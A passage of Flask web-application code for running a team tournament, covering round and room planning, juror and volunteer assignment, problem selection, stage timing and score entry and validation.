current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventPlanForm(request.form)\n current_event_teams = search_event_teams_inorder(event_id, app_db_web_location, 'Approved')\n form.teams_total_number.data = len(current_event_teams)\n\n # Process valid POST\n if request.method == 'POST': #and form.validate():\n # get parameters\n rounds_total_number = int(request.form['rounds_total_number'])\n teams_total_number = int(request.form['teams_total_number'])\n teams_mini_number = int(request.form['teams_mini_number'])\n rooms_for_each_round = int(request.form['rooms_for_each_round'])\n max_re_do_times = int(request.form['max_re_do_times'])\n max_repeated_rooms = int(request.form['max_repeated_rooms'])\n open_last_round = int(request.form['last_round_repeatable'])\n accept_proposal_str = request.form.get('accept_proposal')\n accept_proposal = 0\n if accept_proposal_str is not None:\n accept_proposal = int(accept_proposal_str)\n if accept_proposal == 1:\n # get juror alternative room assignment from flask form\n juror_alternatives = request.form\n session['juror_alternatives'] = juror_alternatives\n return redirect(url_for('main.admin_save_proposal'))\n else:\n if teams_mini_number < 6:\n teams_mini_number = 6\n if teams_total_number < teams_mini_number:\n teams_total_number = teams_mini_number\n elif teams_total_number % 2 != 0:\n teams_total_number += 1\n re_do_from_beginning = False\n re_do_from_beginning_tried_times = 0\n room_plan = []\n juror_plan = []\n round_plan = []\n volunteer_plan = []\n moved_jurors_plan = []\n not_assigned_volunteers = None\n team_pair_count_per_round = int((teams_total_number+1)/2)\n current_event_rooms_usage1 = search_event_rooms(event_id, 1, 'Active', app_db_web_location)\n if len(current_event_rooms_usage1) < team_pair_count_per_round or len(current_event_rooms_usage1) < rooms_for_each_round:\n flash_msg = \"No enough PM rooms! Only total \" + str(len(current_event_rooms_usage1)) + \\\n \" ACTIVE PM rooms in the database. Please contact admin to release backup rooms.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n else:\n while re_do_from_beginning_tried_times < max_re_do_times and (re_do_from_beginning_tried_times == 0 or re_do_from_beginning):\n # plan team\n print(\"***2-1***team plan - start here\")\n team_plan= team_matching_2(teams_total_number, rounds_total_number)\n if team_plan is None:\n flash_msg = \"Please try again.\" + str(teams_total_number)\n flash(flash_msg, 'error')\n return render_template('main/admin_planning.html', form=form, round_count = 0)\n else:\n current_teams_number_assignment = assign_team_code_inorder(current_event_teams, teams_total_number)\n i = 0\n for team in current_teams_number_assignment:\n team_plan[i]['team_id'] = team[1][0] # team_id\n team_plan[i]['team_name'] = team[1][1] # team_name\n team_plan[i]['school_id'] = team[1][2] # school_id\n team_plan[i]['school_name'] = team[1][3] # school_name\n i += 1\n print(\"***2-end***team plan - end here\")\n print(\"***New 3-1***room and chair plan - start here\")\n #plan chair\n chairs_room_assignment = list()\n chair_list = get_event_juror_n_cois_by_chair(event_id,\"Yes\", app_db_web_location)\n if chair_list is None or len(chair_list) != rooms_for_each_round:\n flash_msg = \"Juror chairs's total number is not matching the total number of rooms.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n else:\n # assign chair to room firstly\n chairs_room_assignment = assign_chair_room(chair_list, rooms_for_each_round)\n juror_plan = chairs_room_assignment[0]\n print(\"***New 3-end***room and chair plan - end here\")\n print(\"***New 4-1***round, room and team plan - start here\")\n round_room_plan = assign_room_to_team_wt_chair(rounds_total_number, team_plan, teams_total_number ,\n rooms_for_each_round, chairs_room_assignment, max_repeated_rooms, open_last_round)\n round_plan = round_room_plan[0]\n room_plan = round_room_plan[1]\n planing_so_far_status = round_room_plan[2]\n print(\"***New 4-end***round, room and team plan - end here\")\n re_do_from_beginning = False\n for round in round_plan:\n if len(round['round_team_matches_room_codes']) != team_pair_count_per_round:\n re_do_from_beginning = True\n break\n re_do_from_beginning_tried_times += 1\n print(\"!!!!!!!! total re-do from beginning times: \", re_do_from_beginning_tried_times)\n # clean the data\n if not re_do_from_beginning:\n print(\"***5. Clean up------\")\n round_room_team_plan = tournament_plan_cleanup(round_plan, room_plan, team_plan, current_event_rooms_usage1)\n round_plan = round_room_team_plan[0]\n room_plan = round_room_team_plan[1]\n team_plan = round_room_team_plan[2]\n print(\"***6. assign other jurors to each round each room------\")\n # assign other jurors to each round each room is_char=No\n moved_juror_list = get_event_juror_n_cois_by_chair(event_id,\"No\", app_db_web_location)\n moved_jurors_plan = assign_moved_jurors(moved_juror_list, round_plan, rooms_for_each_round)\n # assign volunteer to do the data entry for each room\n room_count = len(room_plan)\n print(\"***7. assign other volunteers to each room------\")\n data_entry_volunteer_results = search_events_ppant_n_cois_for_data_entry(event_id, app_db_web_location)\n if data_entry_volunteer_results is not None and len(data_entry_volunteer_results) >= room_count:\n # convert search results to list\n data_entry_volunteer_list = zip([x[0] for x in data_entry_volunteer_results], \\\n [x[1] for x in data_entry_volunteer_results], \\\n [x[2] for x in data_entry_volunteer_results], \\\n [x[3] for x in data_entry_volunteer_results], \\\n [x[4] for x in data_entry_volunteer_results], \\\n [x[5] for x in data_entry_volunteer_results], \\\n [x[6] for x in data_entry_volunteer_results], \\\n [x[7] for x in data_entry_volunteer_results], \\\n [x[8] for x in data_entry_volunteer_results], \\\n [x[9] for x in data_entry_volunteer_results], \\\n [x[10] for x in data_entry_volunteer_results], \\\n [x[11] for x in data_entry_volunteer_results], \\\n [x[12] for x in data_entry_volunteer_results])\n # select all the approved volunteer that is not subtype 99\n volunteer_list = get_event_ppant_n_cois_for_volunteer(event_id, app_db_web_location)\n # do the volunteer plan\n volunteer_assignment_results = assign_volunteers(data_entry_volunteer_list, volunteer_list, room_plan)\n volunteer_plan = volunteer_assignment_results[0]\n not_assigned_volunteers = volunteer_assignment_results[1]\n # mapping volunteer to room_plan\n for volunteer in volunteer_plan:\n vol_room_code = volunteer['mroom_code']\n room_plan[vol_room_code - 1]['volunteers'].append(volunteer['mvolunteer_code'])\n else:\n flash_msg = \"Qualified volunteers for data entry are not enough.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n revise_juror_room = True\n session['round_room_team_plan'] = round_room_team_plan\n session['juror_plan'] = juror_plan\n session['volunteer_plan'] = volunteer_plan\n session['moved_jurors_plan'] = moved_jurors_plan\n else:\n revise_juror_room = False\n session['round_room_team_plan'] = None\n session['juror_plan'] = None\n session['volunteer_plan'] = None\n session['moved_jurors_plan'] = None\n return render_template('main/admin_planning.html', form=form, team_plan=team_plan, round_count=rounds_total_number,\n revise_juror_room=revise_juror_room, room_plan=room_plan, juror_plan=juror_plan, round_plan=round_plan,\n volunteer_plan=volunteer_plan, moved_jurors_plan=moved_jurors_plan, not_assigned_volunteers=not_assigned_volunteers)\n else:\n # Process GET or invalid POST\n return render_template('main/admin_planning.html', form=form, round_count = 0)\n\n\n# this is the start point of the selective match\n# save all the master tables in session\n# get pair information for room and round\n@main_blueprint.route('/sm_mgmt', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef sm_mgmt():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # get active plan_id for current event selective match-1\n plan_id = 0\n plan_sub_status = 0\n plan_status = \"Active\"\n plan_type = 1 #\"SM\"\n #EVENT_ID, EVENT_PLAN_ID, EVENT_PLAN_STATUS, EVENT_PLAN_TYPE, EVENT_PLAN_SUB_STATUS\n active_sm_plan_list = search_event_plan(event_id, plan_status, plan_type, app_db_web_location)\n for sm_plan in active_sm_plan_list:\n plan_id = sm_plan[1]\n plan_sub_status = sm_plan[4]\n break\n # redirect to member page if staging is not ready\n if plan_sub_status > 0:\n if plan_sub_status == 1 and not current_user.has_roles('super'):\n flash_msg = \"Staging will be open on Tournament Day! Please contact Information Team if you have any questions.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.member_page'))\n else:\n pass\n else:\n flash_msg = \"Staging is not ready yet! Please contact Information Team if you have any questions.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.member_page'))\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # save master tables to session\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n except:\n # first time, save master tables to session\n master_mteams = get_mteams(plan_id, app_db_web_location) #(mteam_code, mteam_name, team_info, team_member_list)\n master_mrooms = get_mrooms(plan_id, app_db_web_location) #(mroom_code, mroom_label, mroom_info)\n master_mjurors = get_mjurors(plan_id, app_db_web_location) #(mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_room_mvolunteers = get_mvolunteers(plan_id, app_db_web_location) #(mroom_code, mroom_label, room_volunteers)\n session['master_mteams'] = master_mteams\n session['master_mrooms'] = master_mrooms\n session['master_mjurors'] = master_mjurors\n session['master_room_mvolunteers'] = master_room_mvolunteers\n\n current_room_code = 0\n if request.method == 'POST':\n # Process valid POST\n current_room_code = int(request.form.get(\"current_room_code\"))\n else:\n # Process valid GET'\n if current_user.has_roles('super'):\n # let super user select room code\n pass\n else:\n # search the room code that assigned to the data entrier\n #PLAN_ID, PPANT_USER_ID, MROOM_ID, MROOM_CODE, MROOM_LABEL, DATA_ENTRY\n assigned_rooms = search_mroom_assigned_to_data_entry(plan_id, current_user_id, app_db_web_location)\n for room in assigned_rooms:\n current_room_code = room[3]\n break\n sm_current_room_pairs = None\n if current_room_code > 0:\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(plan_id, app_db_web_location)\n sm_current_room_pairs = sm_room_pairs[current_room_code-1] #(current_room_code, tmp_mroom_label, tmp_round_list)\n\n return render_template('main/sm_mgmt.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n sm_current_room_pairs=sm_current_room_pairs, master_mteams=master_mteams, plan_id=plan_id,\n is_super=current_user.has_roles('super'))\n\n\n@main_blueprint.route('/sm_draw', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef sm_draw():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # Initialize parameters from request and session\n current_room_code = 0\n current_round_code = 0\n current_plan_id = 0\n sm_current_room_round_pairs = None\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n current_pair_assigned_jurors = None\n current_pair_assigned_juror_codes = None\n team1 = 0\n team2 = 0\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n except:\n flash_msg = \"Invalid access to get session!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n if request.method == 'POST':\n # Process valid POST\n try:\n current_room_code = int(request.form.get('current_room_code'))\n current_round_code = int(request.form.get('current_round_code'))\n current_plan_id = int(request.form.get('current_plan_id'))\n team1 = int(request.form.get('team1'))\n team2 = int(request.form.get('team2'))\n jury = request.form.getlist(\"jury\")\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][\n current_round_code - 1] # (current_room_code, tmp_mroom_label, tmp_round_list)\n except:\n flash_msg = \"Invalid access in POST!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n if sm_current_room_round_pairs[2] < 2:\n # initilize stage agenda\n if team1>0 and team2>0 and team1 != team2 and jury is not None and len(jury) >2:\n # initilize stage agenda for selective match\n if sm_current_room_round_pairs[2] == 0:\n current_jury = list()\n for juror in jury:\n tmp_juror_code = juror.split(\"--\", 2)[0]\n tmp_mpair_juror_id = juror.split(\"--\", 2)[1]\n tmp_mjuror_id = juror.split(\"--\", 2)[2]\n tmp_turple = (int(tmp_juror_code),int(tmp_mpair_juror_id), int(tmp_mjuror_id))\n current_jury.append(tmp_turple )\n #save_stage_members_jurors(current_plan_id, current_jury, current_pair_id, current_stage_code, reporter, opponent, current_user_id, app_db_web_location)\n initialize_sm_stage_agenda(current_plan_id, sm_current_room_round_pairs, team1, team2, current_jury, current_user_id, app_db_web_location)\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][\n current_round_code - 1] # (current_room_code, tmp_mroom_label, tmp_round_list)\n else:\n flash_msg = \"Invalid data entry for the draw and or jury!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n else:\n flash_msg = \"Another volunteer is working on the same pair, please contact the Information Team!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n else:\n # Process valid GET\n try:\n current_room_code = int(request.args.get('room'))\n current_round_code = int(request.args.get('round'))\n current_plan_id = int(request.args.get('plan'))\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][\n current_round_code - 1] # (current_room_code, tmp_mroom_label, tmp_round_list)\n # get assigned juror for current pair\n tmp_juror_list = get_mpair_jurors_by_round_room(current_plan_id, None, app_db_web_location)\n current_pair_assigned_jurors = tmp_juror_list[current_round_code - 1][1][current_room_code - 1][1]\n current_pair_assigned_juror_codes = tmp_juror_list[current_round_code - 1][1][current_room_code - 1][2]\n except:\n flash_msg = \"Invalid access in get!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n return render_template('main/sm_draw.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n sm_current_room_round_pairs=sm_current_room_round_pairs, master_mteams=master_mteams,\n plan_id=current_plan_id, team1=team1, team2=team2, master_mjurors=master_mjurors,\n current_pair_assigned_jurors=current_pair_assigned_jurors, current_pair_assigned_juror_codes=current_pair_assigned_juror_codes)\n\n\n# assign team member\n@main_blueprint.route('/sm_select', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef sm_select():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # Initialize parameters from request and session\n current_room_code = 0\n current_round_code = 0\n current_plan_id = 0\n sm_current_room_round_pairs = None\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n current_stage_code = 0\n stage_agenda = None\n current_pair_assigned_jurors = None\n current_pair_assigned_juror_codes = None\n current_pair_id = 0\n master_problems = None\n opponent_team_members_roles = None\n reporter_team_members_roles = None\n current_pair_team_problems = None\n problem_label_codes = None\n team_problems = []\n current_day_pair_problems = []\n #current_pair_problem_guide = None\n try:\n # get master prolbem tables from session\n master_problems = session['master_problems']\n except:\n # search master table of event problems from database\n master_problems= get_event_master_problems(event_id, app_db_web_location)\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n except:\n flash_msg = \"Invalid access to get session!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n try:\n current_room_code = int(request.args.get('room'))\n current_round_code = int(request.args.get('round'))\n current_plan_id = int(request.args.get('plan'))\n current_stage_code = int(request.args.get('stage'))\n except:\n flash_msg = \"Invalid access in switching to timer!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][current_round_code - 1]\n #current_pair_problem_guide = sm_current_room_round_pairs[4]\n current_pair_id = sm_current_room_round_pairs[3]\n\n # get up to date stage_agenda for specific mpair\n # stage_agenda: (stage_code, role_list)\n # role_list: (reporter, opponent)\n stage_agenda = get_sm_stage_agenda(current_plan_id, sm_current_room_round_pairs[3],\n app_db_web_location)\n\n session['sm_current_room_round_pairs'] = sm_current_room_round_pairs\n session['current_stage_agenda'] = stage_agenda[current_stage_code -1]\n session['current_codes'] = (current_room_code, current_round_code, current_stage_code, current_pair_id, current_plan_id)\n\n return redirect(url_for('main.sm_timing'))\n\n\n#route('/user/id/<int:user_id>')\n# conduct one selective match using timer\n<EMAIL>('/sm_timing/<int:current_room_code>/<int:current_round_code>/<int:current_stage_code>/<int:current_pair_id>/<int:current_plan_id>', methods=['GET', 'POST'])\n@main_blueprint.route('/sm_timing', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef sm_timing():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # Initialize parameters from request and session\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n\n current_stage_agenda = None\n sm_current_room_round_pairs = None\n\n current_room_code = 0\n current_round_code = 0\n current_stage_code = 0\n current_pair_id = 0\n current_plan_id = 0\n\n step_number = 0\n sm_steps = None\n current_stage_problems = None\n reporter_problems_rejected = None\n stage_agenda = None\n current_reporter_team_members_roles = None\n current_opponent_team_members_roles = None\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n current_stage_agenda = session['current_stage_agenda']\n sm_current_room_round_pairs = session['sm_current_room_round_pairs']\n tmp_current_codes = session['current_codes']\n current_room_code = tmp_current_codes[0]\n current_round_code = tmp_current_codes[1]\n current_stage_code = tmp_current_codes[2]\n current_pair_id = tmp_current_codes[3]\n current_plan_id = tmp_current_codes[4]\n except:\n flash_msg = \"Invalid access to get session!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n # initial current stage problems\n try:\n current_stage_problems = session['current_stage_problems']\n except:\n # get problem master table\n stage_problems = get_event_group_problems(event_id, app_db_web_location)\n if current_round_code < 4:\n # round 1,2,3 is group 1\n current_stage_problems = stage_problems[0]\n else:\n # round 1,2,3 is group 2\n current_stage_problems = stage_problems[1]\n session['current_stage_problems'] = current_stage_problems\n\n # get the performance order in one stage of a selective match\n sm_steps = get_sm_performance_order()\n if request.method == 'POST':\n # Process valid POST\n # for step 1 and step 2: select problem\n # save problems proposed, and accepted/rejected in session and save to database before scoring\n # get parameters from request.form\n reporter = None\n opponent = None\n try:\n reporter = request.form.get('reporter')\n opponent = request.form.get('opponent')\n except:\n pass\n step_str = request.form.get(\"step\")\n step_number = 1\n if step_str is not None and len(step_str) > 0:\n step_number = int(step_str)\n if reporter is not None and opponent is not None:\n if reporter != \"0\" and opponent != \"0\":\n save_stage_members(current_plan_id, current_pair_id, current_stage_code, reporter, opponent,\n current_user_id, app_db_web_location)\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][current_round_code - 1]\n\n # get up to date stage_agenda for specific mpair\n # stage_agenda: (stage_code, role_list)\n # role_list: (reporter, opponent)\n stage_agenda = get_sm_stage_agenda(current_plan_id, sm_current_room_round_pairs[3],\n app_db_web_location)\n\n session['sm_current_room_round_pairs'] = sm_current_room_round_pairs\n current_stage_agenda = stage_agenda[current_stage_code - 1]\n session['current_stage_agenda'] = stage_agenda[current_stage_code - 1]\n flash_msg = \"Team members have been selected successfully, you can start step 3 now!\"\n flash(flash_msg, 'success')\n else:\n flash_msg = \"Team member is missing!\"\n flash(flash_msg, 'error')\n else:\n selected_problem_str = request.form.get(\"problem\")\n if selected_problem_str is not None:\n problem_values = selected_problem_str.split(\"--\", 1)\n selected_problem_code = int(problem_values[0])\n selected_problem_status_code = int(problem_values[1])\n # problem status code: 1-proposed, 2-rejected, 3-accepted\n selected_problem_index = selected_problem_code - 1 - 5 * (current_stage_problems[0]-1)\n current_stage_problems[1][selected_problem_index]['problem_status'] = selected_problem_status_code\n session['current_stage_problems'] = current_stage_problems\n\n if selected_problem_status_code == 3:\n # at step 2, reporter accept/reject proposed question\n current_group_code = 1\n if current_round_code > 3:\n current_group_code = 2\n save_stage_problems(current_plan_id, current_stage_code, current_stage_agenda, current_stage_problems, current_group_code, current_user_id, app_db_web_location)\n elif selected_problem_status_code == 2:\n # problem is rejected\n step_number = 1\n # get rejected problems by the reporter\n problem_reject_accept_code = 2\n current_reporter_team_code = current_stage_agenda[2][0][1]\n reporter_problems_rejected = get_reporter_team_problems(current_plan_id, current_reporter_team_code,\n problem_reject_accept_code, app_db_web_location)\n else:\n # Process valid GET\n # get parameters from request\n step_str = request.args.get(\"step\")\n step_number = 1\n if step_str is not None and len(step_str) > 0:\n step_number = int(step_str)\n\n # ensure there is one problem is accepted\n problem_accepted = False\n if step_number < 3:\n # get rejected problems by the reporter\n problem_reject_accept_code = 2\n current_reporter_team_code = current_stage_agenda[2][0][1]\n reporter_problems_rejected = get_reporter_team_problems(current_plan_id, current_reporter_team_code,\n problem_reject_accept_code, app_db_web_location)\n\n for problem in current_stage_problems[1]:\n if problem['problem_status'] == 3:\n problem_accepted = True\n break\n if problem_accepted:\n step_number = 3\n flash_msg = \"Problem has already been accepted, can NOT re-do!\"\n flash(flash_msg, 'error')\n else:\n pass\n elif step_number == 3:\n for problem in current_stage_problems[1]:\n if problem['problem_status'] == 3:\n problem_accepted = True\n break\n if problem_accepted:\n pass\n else:\n step_number = 1\n # get rejected problems by the reporter\n problem_reject_accept_code = 2\n current_reporter_team_code = current_stage_agenda[2][0][1]\n reporter_problems_rejected = get_reporter_team_problems(current_plan_id, current_reporter_team_code,\n problem_reject_accept_code, app_db_web_location)\n\n flash_msg = \"Not any problem is accepted, please start from step 1!\"\n flash(flash_msg, 'error')\n elif step_number == 4:\n if current_stage_agenda[2][0][2][6] is None or current_stage_agenda[2][1][2][6] is None:\n step_number = 3\n flash_msg = \"Team members are missing!\"\n flash(flash_msg, 'error')\n elif step_number > len(sm_steps):\n # completed all the steps, update mpair stage status to 12 or 22, but not enter the score yet\n mpair_stage_status_code = 0\n if current_stage_code == 1:\n mpair_stage_status_code = 12\n elif current_stage_code == 2:\n mpair_stage_status_code = 22\n update_mpair_stage_status(current_plan_id, current_pair_id, mpair_stage_status_code, current_user_id, app_db_web_location)\n return redirect(url_for('main.sm_scoring'))\n\n # get up to date stage_agenda for specific mpair\n stage_agenda = get_sm_stage_agenda(current_plan_id, current_pair_id, app_db_web_location)\n # get up to date team members' roles and problems\n reporter_team_members_roles = get_team_member_roles(current_plan_id, stage_agenda[current_stage_code-1][2][0][1], app_db_web_location)\n if reporter_team_members_roles is None or len(reporter_team_members_roles) < 1:\n reporter_team_members_roles = [0]\n opponent_team_members_roles = get_team_member_roles(current_plan_id, stage_agenda[current_stage_code-1][2][1][1], app_db_web_location)\n if opponent_team_members_roles is None or len(opponent_team_members_roles) < 1:\n opponent_team_members_roles = [0]\n\n team_problems = []\n current_day_pair_problems = []\n problem_label_codes = None\n if step_number < 2:\n current_pair_team_problems = get_reporter_problems(current_plan_id, current_stage_agenda[2][0][1], current_stage_agenda[2][1][1], 0, app_db_web_location)\n # re-arrange current_pair_team_problems\n if current_pair_team_problems is not None:\n for team in current_pair_team_problems:\n tmp_problem_code_list = []\n #print(\"*** team: \", team[0], team[1])\n for i in range(10):\n tmp_problem_code = i + 1\n #print(\"*** problem code: \", tmp_problem_code)\n has_matched_problem = False\n tmp_problme_list = []\n for item in team[1]:\n if item[0] == tmp_problem_code:\n tmp_problme_list.append(item[1])\n has_matched_problem = True\n if has_matched_problem:\n tmp_problem_code_list.append((tmp_problem_code, tmp_problme_list))\n else:\n tmp_problem_code_list.append((tmp_problem_code, None))\n team_problems.append((team[0], tmp_problem_code_list))\n\n if current_round_code < 4:\n problem_label_codes = (\"A\", \"B\", \"C\", \"D\", \"E\")\n current_day_pair_problems = team_problems[:5]\n else:\n problem_label_codes = (\"F\", \"G\", \"H\", \"I\", \"J\")\n current_day_pair_problems = team_problems[:5]\n\n return render_template('main/sm_timing.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n sm_current_room_round_pairs=sm_current_room_round_pairs, master_mteams=master_mteams,\n plan_id=current_plan_id, current_stage_code=current_stage_code, master_mjurors=master_mjurors,\n current_stage_agenda=current_stage_agenda, current_stage_problems=current_stage_problems,\n step_number=step_number, sm_steps=sm_steps, total_steps=len(sm_steps), team_problems=current_day_pair_problems,\n reporter_problems_rejected=reporter_problems_rejected, problem_label_codes=problem_label_codes,\n reporter_team_members_roles=reporter_team_members_roles[0], opponent_team_members_roles=opponent_team_members_roles[0])\n\n\n@main_blueprint.route('/sm_scoring', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef sm_scoring():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # Initialize parameters from request and session\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n\n current_stage_agenda = None\n sm_current_room_round_pairs = None\n\n current_room_code = 0\n current_round_code = 0\n current_stage_code = 0\n current_pair_id = 0\n current_plan_id = 0\n\n current_stage_problems = None\n current_stage_jurors = None\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n current_stage_agenda = session['current_stage_agenda']\n sm_current_room_round_pairs = session['sm_current_room_round_pairs']\n tmp_current_codes = session['current_codes']\n current_room_code = tmp_current_codes[0]\n current_round_code = tmp_current_codes[1]\n current_stage_code = tmp_current_codes[2]\n current_pair_id = tmp_current_codes[3]\n current_plan_id = tmp_current_codes[4]\n current_stage_problems = session['current_stage_problems']\n except:\n flash_msg = \"Invalid access to get session!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n if request.method == 'POST':\n # Process valid POST\n # get parameters from form\n stage_scores = list()\n stage_score_keys = list()\n data_received = request.form\n for key in data_received:\n stage_score_keys.append(key)\n sorted_keys = sorted(stage_score_keys)\n for key in sorted_keys:\n if key.startswith(\"j_\"):\n #print('form key '+key+\" \"+ data_received[key])\n stage_scores.append((key, data_received[key]))\n # insert data to DSTAGE_SCORE\n save_stage_scores(current_plan_id, current_pair_id, stage_scores, current_stage_agenda, current_stage_code,\n current_room_code, current_user_id, app_db_web_location)\n\n # clear session for stage specific values\n session.pop('current_stage_problems')\n session.pop('current_stage_agenda')\n session.pop('sm_current_room_round_pairs')\n session.pop('current_codes')\n return redirect(url_for('main.sm_mgmt'))\n else:\n # Process valid GET\n # get up to date jurors on board\n current_stage_jurors = get_stage_jurors(current_plan_id, current_pair_id, current_stage_code, app_db_web_location)\n\n return render_template('main/sm_scoring.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n sm_current_room_round_pairs=sm_current_room_round_pairs, master_mteams=master_mteams,\n plan_id=current_plan_id, current_stage_code=current_stage_code, master_mjurors=master_mjurors,\n current_stage_agenda=current_stage_agenda, current_stage_problems=current_stage_problems,\n current_jury=current_stage_jurors)\n\n\n# validate score and calculate the total\n@main_blueprint.route('/sm_validate', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with the 'super' role\ndef sm_validate():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n sm_current_pair_scores = None\n\n # Initialize parameters from request and session\n current_room_code = 0\n current_round_code = 0\n current_plan_id = 0\n sm_current_room_round_pairs = None\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n current_stage_code = 0\n stage_agenda = None\n current_pair_assigned_jurors = None\n current_pair_assigned_juror_codes = None\n current_pair_id = 0\n master_problems = None\n opponent_team_members_roles = None\n reporter_team_members_roles = None\n current_team_codes = None\n current_team_codes_SP = None\n current_stage_problems = None\n current_dstage_score_id = 0\n current_mpair_id = 0\n try:\n # get master prolbem tables from session\n master_problems = session['master_problems']\n except:\n # search master table of event problems from database\n master_problems= get_event_master_problems(event_id, app_db_web_location)\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n\n except:\n flash_msg = \"Invalid access to get session!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n if request.method == 'POST':\n # Process valid POST\n # check if the scoresheet is confirmed\n scoresheet_validate = request.form.get('validate')\n if scoresheet_validate is not None:\n if scoresheet_validate == \"correct\":\n # get calculated values\n #2_opp_dstage_team_P 2_rep_dstage_team_P 2_opp_dstage_team_AP 2_opp_dstage_team_id 2_rep_dstage_team_AP 2_rep_dstage_team_id\n #1_opp_dstage_team_P 1_rep_dstage_team_P 1_opp_dstage_team_AP 1_opp_dstage_team_id 1_rep_dstage_team_AP 1_rep_dstage_team_id\n #ds_fw_mteam_code ds_fw_mteam_code_SP ds_fl_mteam_code 